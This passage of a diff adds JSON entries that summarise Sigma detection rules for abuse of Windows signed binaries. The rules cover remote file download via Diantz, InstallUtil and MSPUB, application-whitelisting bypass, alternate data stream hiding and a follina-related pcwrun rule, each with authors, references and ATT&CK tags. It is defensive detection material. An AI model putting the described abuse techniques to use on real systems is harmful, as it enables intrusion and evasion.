"https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", + "value": "Suspicious Diantz Alternate Data Stream Execution" + }, + { + "description": "Download and compress a remote file and store it in a cab file on local machine.", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", + "value": "Suspicious Diantz Download and Compress Into a CAB File" + }, + { + "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/09/20", + "falsepositive": [ + "Windows installed on non-C drive" + ], + "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", + "value": "Xwizard DLL Sideloading" + }, + { + "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", + "meta": { + "author": "Austin Songer @austinsonger, Florian Roth", + "creation_date": "2021/11/26", + "falsepositive": [ + "Dump64.exe in other folders than the excluded one" + ], + "filename": "proc_creation_win_lolbin_dump64.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "129966c9-de17-4334-a123-8b58172e664d", + "value": "Suspicious Dump64.exe Execution" + }, + { + "description": "Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", + "meta": { + "author": "Sreeman, Florian Roth, Frack113", + "creation_date": "2020/04/21", + "falsepositive": [ + "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." + ], + "filename": "proc_creation_win_lolbin_execution_via_winget.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", + "value": "Monitoring Winget For LOLbin Execution" + }, + { + "description": "Extexport.exe loads dll and is execute from other folder the original path", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_extexport.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", + "value": "Suspicious Extexport Execution" + }, + { + "description": "Download or Copy file with Extrac32", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_extrac32.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", + "value": "Suspicious Extrac32 Execution" + }, + { + "description": "Extract data from cab file and hide it in an alternate data stream", + "meta": { + "author": "frack113", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_extrac32_ads.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", + "value": "Suspicious Extrac32 Alternate Data Stream Execution" + }, + { + "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", + "meta": { + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", + "creation_date": "2020/10/05", + "falsepositive": [ + "Administrative findstr usage" + ], + "filename": "proc_creation_win_lolbin_findstr.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1564.004", + "attack.t1552.001", + "attack.t1105" + ] + }, + "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", + "value": "Abusing Findstr for Defense Evasion" + }, + { + "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/14", + "falsepositive": [ + "Legitimate use by a via a batch script or by an administrator." + ], + "filename": "proc_creation_win_lolbin_forfiles.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", + "value": "Use of Forfiles For Execution" + }, + { + "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/02", + "falsepositive": [ + "Legitimate use by a software developer." + ], + "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", + "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29", + "value": "Use of FSharp Interpreters" + }, + { + "description": "Detects execution of ftp.exe script execution with the \"-s\" flag and any child processes ran by ftp.exe", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_ftp.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e", + "value": "LOLBIN Execution Of The FTP.EXE Binary" + }, + { + "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", + "meta": { + "author": "frack113", + "creation_date": "2022/05/16", + "falsepositive": [ + "Legitimate uses of logon scripts distributed via group policy" + ], + "filename": "proc_creation_win_lolbin_gpscript.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", + "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "1e59c230-6670-45bf-83b0-98903780607e", + "value": "Gpscript Execution" + }, + { + "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories", + "meta": { + "author": "frack113", + "creation_date": "2022/05/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_ie4uinit.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/", + "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc", + "value": "Ie4uinit Lolbin Use From Invalid Path" + }, + { + "description": "Detects execution of the IEExec utility to download payloads", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/05/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_ieexec_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" + ], + "tags": "No established tags" + }, + "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", + "value": "Abusing IEExec To Download Payloads" + }, + { + "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", + "meta": { + "author": "frack113", + "creation_date": "2022/05/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_ilasm.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", + "https://www.echotrail.io/insights/search/ilasm.exe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ilasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "850d55f9-6eeb-4492-ad69-a72338f65ba4", + "value": "Ilasm Lolbin Use Compile C-Sharp" + }, + { + "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_installutil_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", + "value": "Suspicious Execution of InstallUtil To Download" + }, + { + "description": "Detects the execution of the LOLBIN jsc.exe used by .NET to compile javascript code to .exe or .dll format", + "meta": { + "author": "frack113", + "creation_date": "2022/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_jsc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Jsc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "52788a70-f1da-40dd-8fbd-73b5865d6568", + "value": "JSC Convert Javascript To Executable" + }, + { + "description": "Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/11/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_kavremover.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "d047726b-c71c-4048-a99b-2e2f50dc107d", + "value": "Kavremover Dropped Binary LOLBIN Usage" + }, + { + "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Legitimate usage of the script by a developer" + ], + "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1535981653239255040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ] + }, + "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", + "value": "Launch-VsDevShell.PS1 Proxy Execution" + }, + { + "description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/09", + "falsepositive": [ + "Legitimate use for tracing purposes" + ], + "filename": "proc_creation_win_lolbin_mftrace.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e", + "value": "Use of Mftrace.exe" + }, + { + "description": "Detects execution of \"msdt.exe\" using an answer file which is simulating the legitimate way of calling msdt via \"pcwrun.exe\" (For example from the compatibility tab)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/13", + "falsepositive": [ + "Possible undocumented parents of \"msdt\" other than \"pcwrun\"" + ], + "filename": "proc_creation_win_lolbin_msdt_answer_file.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ] + }, + "uuid": "9c8c7000-3065-44a8-a555-79bcba5d9955", + "value": "Execute MSDT Via Answer File" + }, + { + "description": "Detects usage of \"MSOHTMED\" to download arbitrary files", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_msohtmed_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d", + "value": "Download Arbitrary Files Via MSOHTMED.EXE" + }, + { + "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_mspub_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", + "value": "Download Arbitrary Files Via MSPUB.EXE" + }, + { + "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", + "meta": { + "author": "frack113", + "creation_date": "2022/03/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_offlinescannershell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", + "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder" + }, + { + "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/16", + "falsepositive": [ + "Legitimate use by an administrator" + ], + "filename": "proc_creation_win_lolbin_openconsole.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1537563834478645252", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", + "value": "Use of OpenConsole" + }, + { + "description": "Execute commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This is used as a LOLBIN for example to bypass application whitelisting.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/14", + "falsepositive": [ + "Legitimate use by a via a batch script or by an administrator." + ], + "filename": "proc_creation_win_lolbin_pcalua.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pcalua/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcalua.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "0955e4e1-c281-4fb9-9ee1-5ee7b4b754d2", + "value": "Use of Pcalua For Execution" + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", + "meta": { + "author": "A. Sungurov , oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", + "Legit usage of scripts" + ], + "filename": "proc_creation_win_lolbin_pcwrun.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/pabraeken/status/991335019833708544", + "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ] + }, + "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc", + "value": "Indirect Command Execution By Program Compatibility Wizard" + }, + { + "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/13", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1535663791362519040", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution" + ] + }, + "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", + "value": "Execute Pcwrun.EXE To Leverage Follina" + }, + { + "description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_lolbin_pktmon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pktmon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1040" + ] + }, + "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908", + "value": "Use of PktMon.exe" + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/01", + "falsepositive": [ + "Legitimate \".xbap\" being executed via \"PresentationHost\"" + ], + "filename": "proc_creation_win_lolbin_presentationhost.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", + "value": "Application Whitelisting Bypass via PresentationHost.exe" + }, + { + "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files to download arbitrary files", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_presentationhost_download.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/239/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "b124ddf4-778d-418e-907f-6dd3fc0d31cd", + "value": "Download Arbitrary Files Via PresentationHost.exe" + }, + { + "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.", + "meta": { + "author": "frack113", + "creation_date": "2022/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_printbrm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7", + "value": "PrintBrm ZIP Creation of Extraction" + }, + { + "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", + "meta": { + "author": "frack113", + "creation_date": "2022/05/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_pubprn.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216.001" + ] + }, + "uuid": "1fb76ab8-fa60-4b01-bddd-71e89bf555da", + "value": "Pubprn.vbs Proxy Execution" + }, + { + "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", + "meta": { + "author": "Julia Fomina, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", + "https://github.com/fireeye/DueDLLigence", + "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", + "value": "DLL Execution via Rasautou.exe" + }, + { + "description": "Detects suspicious execution of Regasm/Regsvcs utilities", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_regasm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fortiguard.com/threat-signal-report/4718?s=09", + "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", + "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.009" + ] + }, + "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", + "value": "Regasm/Regsvcs Suspicious Execution" + }, + { + "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/19", + "falsepositive": [ + "Legitimate usage of the script. Always investigate what's being registered to confirm if it's benign" + ], + "filename": "proc_creation_win_lolbin_register_app.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_register_app.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "1c8774a0-44d4-4db0-91f8-e792359c70bd", + "value": "REGISTER_APP.VBS Proxy Execution" + }, + { + "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", + "meta": { + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "creation_date": "2022/06/02", + "falsepositive": [ + "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." + ], + "filename": "proc_creation_win_lolbin_remote.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", + "value": "Use of Remote.exe" + }, + { + "description": "Detects the use of Replace.exe which can be used to replace file with another file", + "meta": { + "author": "frack113", + "creation_date": "2022/03/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_lolbin_replace.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Replace/", + 